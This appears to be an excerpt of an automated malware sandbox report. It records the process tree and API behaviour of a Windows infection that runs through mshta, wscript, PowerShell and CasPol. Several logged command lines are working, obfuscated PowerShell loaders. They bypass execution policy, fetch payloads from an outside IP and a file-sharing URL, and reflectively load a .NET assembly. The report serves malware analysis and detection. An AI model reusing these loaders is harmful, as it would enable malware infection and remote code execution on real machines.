Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WiNdowsPowErshELL\V1.0\PoWersHeLl.exe" "POWerSHelL.eXE -Ex bYPAsS -NOp -W 1 -C dEvICeCredEntIaldepLoYmENT ; INVokE-EXpreSSIOn($(iNVOke-eXPResSIon('[systEM.teXt.Encoding]'+[cHAR]58+[CHaR]0X3A+'uTF8.GeTsTring([SySTEM.CoNveRT]'+[CHar]58+[cHar]0X3a+'frombASe64StRing('+[chAr]34+'JDV0ZiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10eXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZW1CZXJEZWZJbklUaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT24uZExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUY2tWTGosc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFZJVixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRVhsblBKcnBOUWMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiRWp6LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5WlZTc0RNZGRPKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpQXl3bmkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQU1lU1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSXJSeiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ1dGY6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yMjAuMjkvNDUvc2VlaGF2aW5nZmFjaW5nYmVzdHRoaWduc3RvZ2V0bWViYWNrd2l0aGVudGlyZXRpbWVncmVhdC50SUYiLCIkRU5WOkFQUERBVEFcc2VlaGF2aW5nZmFjaW5nYmVzdHRoaWduc3RvZ2V0bWViYWNrd2l0aGVudGlyZXRpbWVncmUudmJTIiwwLDApO3N0QXJULXNsRUVwKDMpO0lFWCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXHNlZWhhdmluZ2ZhY2luZ2Jlc3R0aGlnbnN0b2dldG1lYmFja3dpdGhlbnRpcmV0aW1lZ3JlLnZiUyI='+[chaR]34+'))')))"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICR2ZXJCb1NlcHJFRmVyZU5DZS5UT3N0ckluRygpWzEsM10rJ1gnLUpPaU4nJykoKCdvcGlpbWFnZVVybCA9IGlmZGh0dHBzOi8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0JysnNXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5USUNmRmgnKydtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9JysnZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgaWZkO29waXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7b3BpaW1hZ2VCeXRlcyA9IG9waXdlYkNsaWVudC5Eb3dubG9hZERhdGEob3BpaW1hZ2VVcmwpO29waWltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKG8nKydwaWltYWdlQnl0ZXMpO29waXN0YXJ0RmxhZyA9IGlmZDw8QkFTRTY0X1NUQVJUPj5pZmQ7b3BpZW5kRmxhZyA9IGlmZDw8QkFTRTY0X0VORD4+aWZkO29waXN0YXJ0SW5kZXggPSBvcGlpbWFnZVRleHQuSW5kZXhPZihvJysncGlzJysndGFydEZsYWcpO29waWVuZEluZGV4ID0gb3BpaW1hZ2VUZXh0LkluZGV4T2Yob3BpZW5kRmxhZyk7b3Bpc3RhcnRJbmRleCAtJysnZ2UgMCAtYW5kIG9waWVuZEluZGV4IC1ndCBvcGlzdGFydEluZGUnKyd4O29waXN0YXJ0SW5kZXggKz0gb3Bpc3RhcnRGbGFnLkxlbmd0aDtvcCcrJ2liYXNlNjRMZW5ndGggPSBvcGllbmRJbmRleCAtIG9waXN0YXJ0SW5kZXg7b3BpYmFzZTY0Q29tbWFuZCA9IG9waWltYWdlVGV4dC5TdWJzdCcrJ3Jpbmcob3Bpc3RhcnQnKydJbmRleCwgb3BpYmFzZTY0TGVuZ3RoKTtvcGliYXNlNjRSZXZlcnNlZCA9IC1qbycrJ2luIChvcGliYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgMFEnKydsIEZvckVhY2gtT2JqZWN0IHsgb3BpXyB9KVsnKyctMS4uLShvcGliYXNlNjRDb21tYW5kLkxlbmd0aCldO29waWNvbW1hbmRCeXRlcyA9IFtTeScrJ3N0ZW0uQ29udicrJ2UnKydydF06OkZyb21CYXNlJysnNjRTdHJpbmcob3BpYmFzZTY0UmV2ZXJzZWQpO29waWxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW8nKyduLkFzc2VtYmx5XTo6TG9hZChvcGljb21tYW5kQnl0ZXMpO29waXZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoaWYnKydkVkFJaWZkJysnKTtvcGl2YWlNZXRob2QuSW52b2tlKG9waW51bGwsIEAoaWZkdHh0LkdERFJESC81NC85Mi4nKycwMjIuMy4yOTEvLzpwdHRoaWZkLCBpZmRkZXNhdGl2YWRvaWZkLCBpZmRkZXNhdGl2YWRvaWZkLCBpZmRkZXNhdGl2YWRvaWZkLCBpZmRDYXNQb2xpZmQsIGlmZGRlc2F0aXYnKydhZG8nKydpZmQsIGlmZGRlc2F0JysnaXZhZG9pZmQsaWZkZGVzYXRpdmFkb2lmZCxpZmRkZXNhdGl2YWRvaWZkLGlmZGRlc2F0aXZhZG9pZmQsaWZkZGVzYXRpdmFkb2lmZCxpZmRkZXNhdCcrJ2l2YWRvaWZkLGlmZDFpZmQsaWZkZGVzYXRpdmFkb2lmJysnZCkpOycpLnJlUExBQ2UoJzBRbCcsW1N0cmluR11bQ2hBcl0xMjQpLnJlUExBQ2UoJ2lmZCcsW1N0cmluR11bQ2hBcl0zOSkucmVQTEFDZSgoW0NoQXJdMTExK1tDaEFyXTExMitbQ2hBcl0xMDUpLCckJykp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $verBoSeprEFereNCe.TOstrInG()[1,3]+'X'-JOiN'')(('opiimageUrl = ifdhttps://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu4'+'5t7BU1kVgsd9pT9pgSSlvStGrnTICfFh'+'mTKj3LC6SQtIcOc_T35w&pk_vid='+'fd4f614bb209c62c1730945176a0904f ifd;opiwebClient = New-Object System.Net.WebClient;opiimageBytes = opiwebClient.DownloadData(opiimageUrl);opiimageText = [System.Text.Encoding]::UTF8.GetString(o'+'piimageBytes);opistartFlag = ifd<<BASE64_START>>ifd;opiendFlag = ifd<<BASE64_END>>ifd;opistartIndex = opiimageText.IndexOf(o'+'pis'+'tartFlag);opiendIndex = opiimageText.IndexOf(opiendFlag);opistartIndex -'+'ge 0 -and opiendIndex -gt opistartInde'+'x;opistartIndex += opistartFlag.Length;op'+'ibase64Length = opiendIndex - opistartIndex;opibase64Command = opiimageText.Subst'+'ring(opistart'+'Index, opibase64Length);opibase64Reversed = -jo'+'in (opibase64Command.ToCharArray() 0Q'+'l ForEach-Object { opi_ })['+'-1..-(opibase64Command.Length)];opicommandBytes = [Sy'+'stem.Conv'+'e'+'rt]::FromBase'+'64String(opibase64Reversed);opiloadedAssembly = [System.Reflectio'+'n.Assembly]::Load(opicommandBytes);opivaiMethod = [dnlib.IO.Home].GetMethod(if'+'dVAIifd'+');opivaiMethod.Invoke(opinull, @(ifdtxt.GDDRDH/54/92.'+'022.3.291//:ptthifd, ifddesativadoifd, ifddesativadoifd, ifddesativadoifd, ifdCasPolifd, ifddesativ'+'ado'+'ifd, ifddesat'+'ivadoifd,ifddesativadoifd,ifddesativadoifd,ifddesativadoifd,ifddesativadoifd,ifddesat'+'ivadoifd,ifd1ifd,ifddesativadoif'+'d));').rePLACe('0Ql',[StrinG][ChAr]124).rePLACe('ifd',[StrinG][ChAr]39).rePLACe(([ChAr]111+[ChAr]112+[ChAr]105),'$'))"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WiNdowsPowErshELL\V1.0\PoWersHeLl.exe" "POWerSHelL.eXE -Ex bYPAsS -NOp -W 1 -C dEvICeCredEntIaldepLoYmENT ; INVokE-EXpreSSIOn($(iNVOke-eXPResSIon('[systEM.teXt.Encoding]'+[cHAR]58+[CHaR]0X3A+'uTF8.GeTsTring([SySTEM.CoNveRT]'+[CHar]58+[cHar]0X3a+'frombASe64StRing('+[chAr]34+'JDV0ZiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10eXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZW1CZXJEZWZJbklUaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT24uZExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUY2tWTGosc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFZJVixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRVhsblBKcnBOUWMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiRWp6LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5WlZTc0RNZGRPKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpQXl3bmkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQU1lU1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSXJSeiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ1dGY6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yMjAuMjkvNDUvc2VlaGF2aW5nZmFjaW5nYmVzdHRoaWduc3RvZ2V0bWViYWNrd2l0aGVudGlyZXRpbWVncmVhdC50SUYiLCIkRU5WOkFQUERBVEFcc2VlaGF2aW5nZmFjaW5nYmVzdHRoaWduc3RvZ2V0bWViYWNrd2l0aGVudGlyZXRpbWVncmUudmJTIiwwLDApO3N0QXJULXNsRUVwKDMpO0lFWCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXHNlZWhhdmluZ2ZhY2luZ2Jlc3R0aGlnbnN0b2dldG1lYmFja3dpdGhlbnRpcmV0aW1lZ3JlLnZiUyI='+[chaR]34+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICR2ZXJCb1NlcHJFRmVyZU5DZS5UT3N0ckluRygpWzEsM10rJ1gnLUpPaU4nJykoKCdvcGlpbWFnZVVybCA9IGlmZGh0dHBzOi8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0JysnNXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5USUNmRmgnKydtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9JysnZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgaWZkO29waXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7b3BpaW1hZ2VCeXRlcyA9IG9waXdlYkNsaWVudC5Eb3dubG9hZERhdGEob3BpaW1hZ2VVcmwpO29waWltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKG8nKydwaWltYWdlQnl0ZXMpO29waXN0YXJ0RmxhZyA9IGlmZDw8QkFTRTY0X1NUQVJUPj5pZmQ7b3BpZW5kRmxhZyA9IGlmZDw8QkFTRTY0X0VORD4+aWZkO29waXN0YXJ0SW5kZXggPSBvcGlpbWFnZVRleHQuSW5kZXhPZihvJysncGlzJysndGFydEZsYWcpO29waWVuZEluZGV4ID0gb3BpaW1hZ2VUZXh0LkluZGV4T2Yob3BpZW5kRmxhZyk7b3Bpc3RhcnRJbmRleCAtJysnZ2UgMCAtYW5kIG9waWVuZEluZGV4IC1ndCBvcGlzdGFydEluZGUnKyd4O29waXN0YXJ0SW5kZXggKz0gb3Bpc3RhcnRGbGFnLkxlbmd0aDtvcCcrJ2liYXNlNjRMZW5ndGggPSBvcGllbmRJbmRleCAtIG9waXN0YXJ0SW5kZXg7b3BpYmFzZTY0Q29tbWFuZCA9IG9waWltYWdlVGV4dC5TdWJzdCcrJ3Jpbmcob3Bpc3RhcnQnKydJbmRleCwgb3BpYmFzZTY0TGVuZ3RoKTtvcGliYXNlNjRSZXZlcnNlZCA9IC1qbycrJ2luIChvcGliYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgMFEnKydsIEZvckVhY2gtT2JqZWN0IHsgb3BpXyB9KVsnKyctMS4uLShvcGliYXNlNjRDb21tYW5kLkxlbmd0aCldO29waWNvbW1hbmRCeXRlcyA9IFtTeScrJ3N0ZW0uQ29udicrJ2UnKydydF06OkZyb21CYXNlJysnNjRTdHJpbmcob3BpYmFzZTY0UmV2ZXJzZWQpO29waWxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW8nKyduLkFzc2VtYmx5XTo6TG9hZChvcGljb21tYW5kQnl0ZXMpO29waXZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoaWYnKydkVkFJaWZkJysnKTtvcGl2YWlNZXRob2QuSW52b2tlKG9waW51bGwsIEAoaWZkdHh0LkdERFJESC81NC85Mi4nKycwMjIuMy4yOTEvLzpwdHRoaWZkLCBpZmRkZXNhdGl2YWRvaWZkLCBpZmRkZXNhdGl2YWRvaWZkLCBpZmRkZXNhdGl2YWRvaWZkLCBpZmRDYXNQb2xpZmQsIGlmZGRlc2F0aXYnKydhZG8nKydpZmQsIGlmZGRlc2F0JysnaXZhZG9pZmQsaWZkZGVzYXRpdmFkb2lmZCxpZmRkZXNhdGl2YWRvaWZkLGlmZGRlc2F0aXZhZG9pZmQsaWZkZGVzYXRpdmFkb2lmZCxpZmRkZXNhdCcrJ2l2YWRvaWZkLGlmZDFpZmQsaWZkZGVzYXRpdmFkb2lmJysnZCkpOycpLnJlUExBQ2UoJzBRbCcsW1N0cmluR11bQ2hBcl0xMjQpLnJlUExBQ2UoJ2lmZCcsW1N0cmluR11bQ2hBcl0zOSkucmVQTEFDZSgoW0NoQXJdMTExK1tDaEFyXTExMitbQ2hBcl0xMDUpLCckJykp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $verBoSeprEFereNCe.TOstrInG()[1,3]+'X'-JOiN'')(('opiimageUrl = ifdhttps://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu4'+'5t7BU1kVgsd9pT9pgSSlvStGrnTICfFh'+'mTKj3LC6SQtIcOc_T35w&pk_vid='+'fd4f614bb209c62c1730945176a0904f ifd;opiwebClient = New-Object System.Net.WebClient;opiimageBytes = opiwebClient.DownloadData(opiimageUrl);opiimageText = [System.Text.Encoding]::UTF8.GetString(o'+'piimageBytes);opistartFlag = ifd<<BASE64_START>>ifd;opiendFlag = ifd<<BASE64_END>>ifd;opistartIndex = opiimageText.IndexOf(o'+'pis'+'tartFlag);opiendIndex = opiimageText.IndexOf(opiendFlag);opistartIndex -'+'ge 0 -and opiendIndex -gt opistartInde'+'x;opistartIndex += opistartFlag.Length;op'+'ibase64Length = opiendIndex - opistartIndex;opibase64Command = opiimageText.Subst'+'ring(opistart'+'Index, opibase64Length);opibase64Reversed = -jo'+'in (opibase64Command.ToCharArray() 0Q'+'l ForEach-Object { opi_ })['+'-1..-(opibase64Command.Length)];opicommandBytes = [Sy'+'stem.Conv'+'e'+'rt]::FromBase'+'64String(opibase64Reversed);opiloadedAssembly = [System.Reflectio'+'n.Assembly]::Load(opicommandBytes);opivaiMethod = [dnlib.IO.Home].GetMethod(if'+'dVAIifd'+');opivaiMethod.Invoke(opinull, @(ifdtxt.GDDRDH/54/92.'+'022.3.291//:ptthifd, ifddesativadoifd, ifddesativadoifd, ifddesativadoifd, ifdCasPolifd, ifddesativ'+'ado'+'ifd, ifddesat'+'ivadoifd,ifddesativadoifd,ifddesativadoifd,ifddesativadoifd,ifddesativadoifd,ifddesat'+'ivadoifd,ifd1ifd,ifddesativadoif'+'d));').rePLACe('0Ql',[StrinG][ChAr]124).rePLACe('ifd',[StrinG][ChAr]39).rePLACe(([ChAr]111+[ChAr]112+[ChAr]105),'$'))"	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2c1bgmxj\2c1bgmxj.cmdline"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2c1bgmxj\2c1bgmxj.cmdline"			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 18_2_0041BCE3 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,

18_2_0041BCE3

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_052C55EF pushfd ; retf	3_2_052C5619
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_052C5641 pushfd ; retf	3_2_052C5619
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_07DF2C6C push eax; ret	3_2_07DF2C81
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_004567E0 push eax; ret	18_2_004567FE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_0045B9DD push esi; ret	18_2_0045B9E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_00455EAF push ecx; ret	18_2_00455EC2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 18_2_00433FF6 push ecx; ret	18_2_00434009

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 18_2_00406128 ShellExecuteW,URLDownloadToFileW,

18_2_00406128

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

File created: C:\Users\user\AppData\Local\Temp\2c1bgmxj\2c1bgmxj.dll

Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 18_2_00419BC4 OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

18_2_00419BC4

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

18_2_0041BCE3

Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
